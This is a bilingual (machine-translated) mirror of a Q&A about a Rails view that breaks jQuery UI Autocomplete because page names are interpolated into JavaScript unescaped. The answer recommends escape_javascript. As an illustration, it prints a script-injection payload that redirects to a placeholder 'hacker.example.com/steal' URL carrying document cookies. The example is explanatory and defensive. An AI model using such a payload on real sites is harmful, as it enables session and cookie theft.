通过DESC排序输入会中断jQuery UI自动完成功能

Question

I'm trying to input a table Page into jQuery UI Autocomplete. 我正在尝试将表Page输入到jQuery UI Autocomplete中。 If I input it with Page.order('id ASC') it works perfectly, but if I input it with Page.order('id DESC') it breaks, even though the line 如果我使用Page.order('id ASC')输入它，则可以正常工作，但是如果我使用Page.order('id DESC')输入它，即使行

Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")

executes error-free in my rails console. 在我的rails控制台中执行无错误。 It even breaks another jQuery UI Autocomplete further down the same page, so I think the jQuery itself must be failing. 它甚至在同一页上进一步破坏了另一个jQuery UI自动完成功能，因此我认为jQuery本身一定失败了。

It also prints error-free in my page source both times. 两次都可以在我的页面源中无错误地打印。

Anyone have any idea why it fails in this context? 任何人都知道为什么它在这种情况下会失败吗？

  <head>
    <meta charset="utf-8">
    <title>jQuery UI Autocomplete - Multiple values</title>
    <link rel="stylesheet" href="//code.jquery.com/ui/1.11.1/themes/smoothness/jquery-ui.css">
    <script src="//code.jquery.com/jquery-1.10.2.js"></script>
    <script src="//code.jquery.com/ui/1.11.1/jquery-ui.js"></script>
    <link rel="stylesheet" href="/resources/demos/style.css">
    <script>
    $(function() {
      var availableTags = [
        <%= raw(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")) %>
      ];
      function split( val ) {
        return val.split( /,\s*/ );
      }
      function extractLast( term ) {
        return split( term ).pop();
      }

      $( "#pages" )
        // don't navigate away from the field on tab when selecting an item
        .bind( "keydown", function( event ) {
          if ( event.keyCode === $.ui.keyCode.TAB &&
              $( this ).autocomplete( "instance" ).menu.active ) {
            event.preventDefault();
          }
        })
        .autocomplete({
          minLength: 0,
          source: function( request, response ) {
            // delegate back to autocomplete, but extract the last term
            response( $.ui.autocomplete.filter(
              availableTags, extractLast( request.term ) ) );
          },
          focus: function() {
            // prevent value inserted on focus
            return false;
          },
          select: function( event, ui ) {
            var terms = split( this.value );
            // remove the current input
            terms.pop();
            // add the selected item
            terms.push( ui.item.value );
            // add placeholder to get the comma-and-space at the end
            terms.push( "" );
            this.value = terms.join( ", " );
            return false;
          }
        });
    });
    </script>
  </head>

  <div class="ui-widget">
    <textarea id="pages" name="pages" size="50"></textarea>
  </div><br>

Answer 1

Do you have more than 1000 Page records in your database? 您的数据库中是否有超过1000个Page记录？ You might be selecting a different set of pages, one of which could have a title like 您可能选择了一组不同的页面，其中一个页面的标题可能像

How to use "quotation" marks

or 要么

Tabs    slashes \\\ & special characters @%*(!@#😱

or worse 或更糟

"]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>

These will get inserted into your JS directly, like: 这些将直接插入到您的JS中，例如：

$(function() {
  var availableTags = [
    "How to use "quotation" marks",
    "Tabs    slashes \\\ & special characters @%*(!@#😱",
    ""]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>"
  ];
...

All of these are bad. 所有这些都是不好的。 The first two can break the script because things like quotations and slashes are not allowed in the middle of a string without proper escaping as \\" and \\\\ . 前两个可以破坏脚本，因为在字符串中间不允许使用引号和斜杠之类的字符，除非将其适当地转义为\\"和\\\\ 。

Rails provides a convenient function called escape_javascript , which is also aliased as j , that you can use to escape JavaScript code. Rails提供了一个方便的函数，称为escape_javascript ，也别名为j ，您可以使用该函数对JavaScript代码进行转义。 Eg data = "<%=j 'a"b"c' %>"; 例如， data = "<%=j 'a"b"c' %>"; will output data = "a\\"b\\"c"; 将输出data = "a\\"b\\"c";

I would update your loop generating the availableTags array to use this method: 我将更新您的循环以生成availableTags数组以使用此方法：

var availableTags = [
  <%= safe_join(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{escape_javascript(name)}\"".html_safe }, ",\n") %>
  ];

通过DESC排序输入会中断jQuery UI自动完成功能

问题描述

1 个解决方案

解决方案1
1 已采纳 2015-10-26 02:37:34

通过DESC排序输入会中断jQuery UI自动完成功能

问题描述

1 个解决方案

解决方案1 1 已采纳 2015-10-26 02:37:34

解决方案1
1 已采纳 2015-10-26 02:37:34